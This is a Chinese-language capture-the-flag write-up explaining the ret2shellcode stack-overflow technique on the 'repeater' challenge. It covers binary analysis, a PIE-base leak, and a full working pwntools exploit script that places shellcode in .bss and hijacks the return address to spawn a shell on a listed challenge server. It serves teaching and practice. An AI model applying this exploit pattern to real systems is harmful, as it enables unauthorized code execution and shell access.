【网安】pwn-ret2shellcode

前言

ret2shellcode是pwn中栈溢出利用的一种技术,适合用在没有NX保护的情况,可通过手动往bss段中写入shellcode,然后控制返回地址,执行这个shellcode来获取system shell

有几点说明:

shellcode可理解为一段窃取system shell的代码,可直接用Python第三方库pwn库中的asm(shellcraft.sh())

对于有NX保护的情况,因为攻击者只能通过栈溢出控制栈上的数据,无法直接控制寄存器,因此用ret2shellcode这种方法来获取system shell就不行了,此时常需要用到ret2libc技术,可看我的另一篇博客:【网安】pwn-ret2libc-CSDN博客

下面用一道泰山杯的真题repeater来进行讲解

题目描述

题目给了一个附件和一个远程攻击的服务器IP地址和端口号,附件中只有一个二进制文件repeater

WriteUp

静态分析

CTF中pwn类型的题目遵循一定的套路,我们先用IDA反汇编+反编译打开这个二进制文件看看,找到main函数

先分析一下这个main函数

函数中有三个变量:s,距离栈底指针bp有30h(48)个字节;v5,距离bp有10h(16)个字节;i,距离bp有4h(4)个字节

下面用puts输出两句提示信息后利用sub_982函数读入最多48个字节数据到unk_202040变量中,sub_982函数内容如下图所示,只要能看出来是用于读取用户输入的就可以

再往下,在没有人为干预情况下v5=1192227,因此进入循环,循环中重点是用read函数读取0x40(64)个字节的数据到s中,而s到bp只有48个字节,这是一个很明显的栈溢出。另外还需要注意到,当v5=3281697时程序会把main函数的地址泄露出来,这一点或许会有助于计算我们想要的函数或变量地址

对于栈溢出问题,我们可根据二进制文件的保护措施不同来采取不同的攻击策略,因此需要先查看一下保护措施,这里用Linux下gdb调试工具查看

可以看到,该二进制文件没有NX保护,但有PIE保护,因此判定可使用ret2shellcode技术解题,结合目前已经获取的信息,主要思路如下:

(1)将shellcode写入unk_202040变量中

(2)构造第一次payload,利用栈溢出覆盖原v5的值,使之等于3281697,进而使程序泄露main函数地址

(3)接收泄露的main函数地址,利用其计算出unk_202040变量地址(绕过PIE保护)

(4)构造第二次payload,利用栈溢出,在将返回地址覆盖为unk_202040变量地址(shellcode地址)的同时将v5置0,退出循环

(5)退出循环后因为返回地址已被覆盖,因此程序不会结束,而是跳转到shellcode执行,进而获取到system shell

接下来详细介绍每一步

解题步骤

1 写入shellcode

这一步很简单,直接利用main函数的sub_982函数进行写入即可,但要注意写入时机需在输出完提示信息"name :"之后,防止写入到了奇怪的地方。代码如下

python 复制代码
shellcode = asm(shellcraft.sh())
io.sendlineafter("name :", shellcode)#shellcode存到bss段,下面构造payload时就可以直接写shellcode地址了

2 泄露main函数地址

这一步的关键是利用栈溢出构造payload,把原来v5的值覆盖掉,使之变成3281697,从而使 if 判断成立,程序泄露main函数地址,代码如下

python 复制代码
payload = cyclic(0x20)+p64(3281697)
io.sendlineafter("input :", payload)

仍然要注意写入时机

3 接收main函数地址,计算unk_202040变量地址

这步主要是利用"相对地址不变"的特点,接收到main函数地址后先利用它计算出实际运行时,可执行文件的加载基址,再用这个加载基址计算出unk_202040变量的地址

而main函数和unk_202040变量的相对基址的地址都可在IDA中查到,如下图

代码如下

python 复制代码
io.readuntil('you :\n')
content = io.readline()[:-1]#最后一位的换行符不要
binary_base = int(content, 16) - 0xa33 #实际加载的内存基址(整个文件的)
shellcode_addr=binary_base+0x202040

4 将返回地址覆盖为unk_202040变量地址,退出循环

这一步就与ret2text的普通栈溢出的构造payload方式一样了,只不过是用shellcode地址覆盖返回地址而不是用system函数的地址,代码如下

python 复制代码
payload = cyclic(0x20)
payload += p64(0x0)#number=0
payload += p64(0x1111111111111111)#i=0x11111111,下次循环条件就不成立了,退出循环
payload += cyclic(8)#EBP随便填充
payload += p64(shellcode_addr)#覆盖返回地址

这部分主要结合着栈结构来看,不好理解的话可以画出栈的内存示意图,实在看不懂也可看我的另一篇博客:【网安】pwn-ret2text-CSDN博客 这篇博客中讲的更加浅显易懂

5 获取system shell

把最终payload发送,获取system shell即可,仍然要注意发送时机,代码如下

python 复制代码
io.sendlineafter("input :", payload)#注意发送时机
io.interactive()

完整代码

python 复制代码
from pwn import *

context(os='linux', arch='amd64',log_level='debug')
# io = process('./repeater')
io=remote("61.147.171.103",58192)

shellcode = asm(shellcraft.sh())
io.sendlineafter("name :", shellcode)#shellcode存到bss段,下面构造payload时就可以直接写shellcode地址了

payload = cyclic(0x20)+p64(3281697)
io.sendlineafter("input :", payload)

io.readuntil('you :\n')
content = io.readline()[:-1]#最后一位的换行符不要
binary_base = int(content, 16) - 0xa33 #实际加载的内存基址(整个文件的)
shellcode_addr=binary_base+0x202040 #0x202040是name的相对地址,shellcode_addr存放shellcode

#第二次循环
payload = cyclic(0x20)
payload += p64(0x0)#number=0
payload += p64(0x1111111111111111)#i=0x11111111,下次循环条件就不成立了,退出循环
payload += cyclic(8)#EBP随便填充
payload += p64(shellcode_addr)#覆盖返回地址
io.sendlineafter("input :", payload)

io.interactive()
相关推荐
kishu_iOS&AI3 分钟前
Conda 简要说明与常用指令
python·安全·conda
小陈工8 分钟前
FastAPI性能优化实战:从每秒100请求到1000的踩坑记录
python·性能优化·django·flask·numpy·pandas·fastapi
知我Deja_Vu13 分钟前
【避坑指南】ConcurrentHashMap 并发计数优化实战
java·开发语言·python
njidf17 分钟前
用Python制作一个文字冒险游戏
jvm·数据库·python
呆呆小孩28 分钟前
Anaconda 被误删抢救手册:从绝望到重生
python·conda
liliangcsdn30 分钟前
LLM复杂数值的提取计算场景示例
人工智能·python
人工智能AI酱1 小时前
【AI深究】逻辑回归(Logistic Regression)全网最详细全流程详解与案例(附大量Python代码演示)| 数学原理、案例流程、代码演示及结果解读 | 决策边界、正则化、优缺点及工程建议
人工智能·python·算法·机器学习·ai·逻辑回归·正则化
WangLanguager1 小时前
逻辑回归(Logistic Regression)的详细介绍及Python代码示例
python·算法·逻辑回归
wefly20171 小时前
m3u8live.cn 在线M3U8播放器,免安装高效验流排错
前端·后端·python·音视频·前端开发工具
ZTLJQ1 小时前
深入理解逻辑回归:从数学原理到实战应用
开发语言·python·机器学习